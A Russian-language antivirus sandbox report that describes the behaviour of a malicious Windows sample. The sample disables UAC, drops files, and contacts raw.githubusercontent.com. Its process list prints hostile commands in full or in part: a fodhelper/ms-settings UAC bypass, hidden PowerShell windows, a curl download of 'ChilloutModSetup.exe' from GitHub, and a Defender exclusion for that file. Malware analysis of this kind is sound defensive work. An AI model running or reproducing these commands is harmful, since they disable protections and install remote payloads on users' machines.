Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [HKCU\Software\Classes\ms-settings\Shell\Open\command] '' = 'cmd /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f & reg add HKLM\SOFTW...
Вредоносные функции
Для затруднения выявления своего присутствия в системе
блокирует:
- Средство контроля пользовательских учетных записей (UAC)
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\nhbpksry\nhbpksry.0.cs
- %TEMP%\nhbpksry\nhbpksry.cmdline
- %TEMP%\nhbpksry\nhbpksry.out
- nul
- %LOCALAPPDATA%\microsoft\windows\actioncentercache\windows-systemtoast-securityandmaintenance_10_0.png
- %LOCALAPPDATA%\chilloutmodsetup.exe
Удаляет файлы, которые сам же создал
- %TEMP%\nhbpksry\nhbpksry.0.cs
- %TEMP%\nhbpksry\nhbpksry.out
- %TEMP%\nhbpksry\nhbpksry.cmdline
Сетевая активность
Подключается к
- 'ra#.####ubusercontent.com':443
TCP
Запросы HTTP GET
- http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?f5##############
Другие
- 'ra#.####ubusercontent.com':443
UDP
- DNS ASK ra#.####ubusercontent.com
Другое
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -Command "$hwnd = Get-Process -Id $pid | Select-Object -ExpandProperty MainWindowHandle; if ($hwnd -ne 0) { Add-Type -Name Window -Namespace Console -MemberDefinition '[Dll... (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "$hwnd = Get-Process -Id $pid | Select-Object -ExpandProperty MainWindowHandle; if ($hwnd -ne 0) { Add-Type -Name Window -Namespace Console -MemberDefinition '[DllImport("user32.dll")]...
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -WindowStyle Hidden -Command "Add-Type -TypeDefinition 'using System; using System.Runtime.InteropServices; public class Win32 { [DllImport("user32.dll")] public static ext... (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -Command "Add-Type -TypeDefinition 'using System; using System.Runtime.InteropServices; public class Win32 { [DllImport("user32.dll")] public static extern bool ShowWindow(I...
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\nhbpksry\nhbpksry.cmdline" (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /d /s /c "fsutil dirty query %systemdrive%" (со скрытым окном)
- '<SYSTEM32>\fsutil.exe' dirty query C
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA" (со скрытым окном)
- '<SYSTEM32>\reg.exe' query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA
- '<SYSTEM32>\cmd.exe' /d /s /c "reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /ve /d "cmd /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /... (со скрытым окном)
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /ve /d "cmd /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f & reg add "H...
- '<SYSTEM32>\cmd.exe' /d /s /c "reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /f" (со скрытым окном)
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /f
- '<SYSTEM32>\cmd.exe' /d /s /c "fodhelper.exe" (со скрытым окном)
- '<SYSTEM32>\fodhelper.exe'
- '<SYSTEM32>\cmd.exe' /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f & reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPr...
- '<SYSTEM32>\reg.exe' add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -Command " try { $webClient = New-Object System.Net.WebClient $webClient.Headers.Add('User-Agent', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWeb... (со скрытым окном)
- '<SYSTEM32>\reg.exe' add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorUser /t REG_DWORD /d 0 /f
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "
- '<SYSTEM32>\reg.exe' add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v PromptOnSecureDesktop /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /d /s /c "reg delete "HKCU\Software\Classes\ms-settings" /f" (со скрытым окном)
- '<SYSTEM32>\reg.exe' delete "HKCU\Software\Classes\ms-settings" /f
- '<SYSTEM32>\cmd.exe' /d /s /c "curl -L -o "%LOCALAPPDATA%\ChilloutModSetup.exe" "https://raw.githubusercontent.com/can964284-glitch/Claudex-dkWlPaokO-6307399770-1769551982906386-B033LX2t/main/ChilloutModSetup.exe"" (со скрытым окном)
- '<SYSTEM32>\curl.exe' -L -o "%LOCALAPPDATA%\ChilloutModSetup.exe" "https://raw.githubusercontent.com/can964284-glitch/Claudex-dkWlPaokO-6307399770-1769551982906386-B033LX2t/main/ChilloutModSetup.exe"
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -Command " try { Add-MpPreference -ExclusionPath "%LOCALAPPDATA%\ChilloutModSetup.exe" -ErrorAction Stop Write-Output "SUCCESS" ... (со скрытым окном)
